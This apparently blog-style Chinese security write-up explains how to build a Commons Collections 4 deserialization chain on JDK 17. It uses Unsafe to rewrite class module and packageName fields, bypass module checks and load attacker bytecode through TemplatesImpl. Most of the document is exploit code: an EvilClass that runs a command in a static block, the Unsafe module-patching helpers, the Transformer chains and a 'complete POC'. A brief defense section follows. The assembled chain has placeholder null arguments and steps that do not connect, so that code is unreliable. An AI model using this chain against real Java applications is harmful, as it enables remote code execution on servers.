jdk17&CC链绕过模块检测利用TemplatesImpl
字数 1054 2025-09-01 11:25:54
JDK17下利用TemplatesImpl绕过模块检测的CC链构造分析
0x01 前言
本文详细分析在JDK17环境下如何绕过模块化限制,利用TemplatesImpl作为反序列化sink点构造完整的CC4攻击链。JDK17通过强封装(模块化)增强了安全性,但通过Unsafe等技术仍可实现利用。
0x02 环境准备
- JDK版本:17.0.8
- 依赖链:Commons Collections 4 (CC4)
- 关键技术点:
- Unsafe修改模块关系
- TemplatesImpl字节码加载
- 模块检测绕过技术
0x03 JDK17模块化检测机制
JDK9开始引入模块化,JDK17严格执行模块检测:
- 反射和对象实例化时会检查调用类与被调用类的模块关系
- 模块检测包括:
- 模块可见性检查
- 导出包检查
- 访问权限验证
0x04 初步验证
通过Unsafe修改调用类模块可以绕过部分检测:
// 修改模块关系的核心方法
void patchModule(Class<?> currentClass, Class<?> targetClass) {
// 获取Unsafe实例
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
// 获取目标模块
Object targetModule = targetClass.getModule();
// 修改当前类的模块
long moduleOffset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, moduleOffset, targetModule);
}
0x05 恶意类构造
1. 恶意字节码类
public class EvilClass {
static {
try {
// 执行任意代码
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
注意事项:
- 不需要继承
AbstractTranslet以避免模块检测问题 - 静态代码块作为触发点
2. TemplatesImpl利用要点
解决defineTransletClasses()中的问题:
// 需要设置_auxClasses避免NPE
if (_class[i].getSuperclass() == ABSTRACT_TRANSLET) {
_transletIndex = i;
} else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
解决方案:
- 设置
_bytecodes.length > 1让_auxClasses自动初始化
0x06 关键问题解决
1. TrAXFilter.newInstance的模块检测
TrAXFilter实例化时会进行严格模块检测:
// 反射调用时的检测逻辑
if (!Modifier.isPublic(getModifiers())) {
// 模块检测
if (!callerModule.canRead(module)) {
throw new IllegalAccessError();
}
}
2. Unsafe对象获取的链式构造
通过CC链构造获取Unsafe对象的流程:
Transformer[] transformers = new Transformer[] {
// 获取Unsafe.class
new ConstantTransformer(Unsafe.class),
// 获取theUnsafe字段
new InvokerTransformer("getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}),
// 设置字段可访问
new InvokerTransformer("setAccessible",
new Class[]{boolean.class},
new Object[]{true}),
// 获取Unsafe实例
new InvokerTransformer("get",
new Class[]{Object.class},
new Object[]{null}),
};
3. 模块检测绕过技术
方法一:修改packageName
// 修改被调用类的packageName为导出包
long pkgNameOffset = unsafe.objectFieldOffset(Class.class.getDeclaredField("packageName"));
unsafe.getAndSetObject(targetClass, pkgNameOffset, "java.lang");
方法二:设置模块为null
// 将调用类和被调用类的模块都设为null
unsafe.getAndSetObject(callerClass, moduleOffset, null);
unsafe.getAndSetObject(targetClass, moduleOffset, null);
0x07 完整POC构造
// 1. 构造恶意字节码
byte[] evilCode = generateEvilBytecode();
byte[][] bytecodes = new byte[][]{evilCode, new byte[0]}; // 确保length>1
// 2. 初始化TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造Unsafe获取链
Transformer[] unsafeChain = new Transformer[]{
new ConstantTransformer(Unsafe.class),
new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}),
new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}),
new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null})
};
// 4. 构造模块修改链
Transformer[] modulePatchChain = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"module"}),
new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}),
new ConstantTransformer(null), // 设置为null
new InvokerTransformer("set", new Class[]{Object.class, Object.class},
new Object[]{null, null}) // 参数占位
};
// 5. 构造最终调用链
Transformer[] finalChain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InvokerTransformer("newInstance", new Class[]{Object[].class},
new Object[]{new Object[]{templates}})
};
// 6. 组合所有Transformer
ChainedTransformer chain = new ChainedTransformer(
ArrayUtils.addAll(unsafeChain, modulePatchChain, finalChain));
0x08 调用链分析
完整调用流程:
- 通过Unsafe链获取Unsafe实例
- 修改调用类和被调用类的模块关系
- 要么设置为null
- 要么修改packageName为已导出包
- 触发TemplatesImpl的getOutputProperties()
- 加载并执行恶意字节码
0x09 防御建议
- 升级到最新JDK版本
- 禁用或限制Unsafe使用
- 实施严格的反序列化过滤
- 使用SecurityManager限制敏感操作
0x10 总结
尽管JDK17加强了模块化安全,但通过:
- Unsafe修改模块关系
- 巧妙构造Transformer链
- 绕过package检测
仍可实现TemplatesImpl的利用。这提醒我们安全防护需要多层次、多维度的防御策略。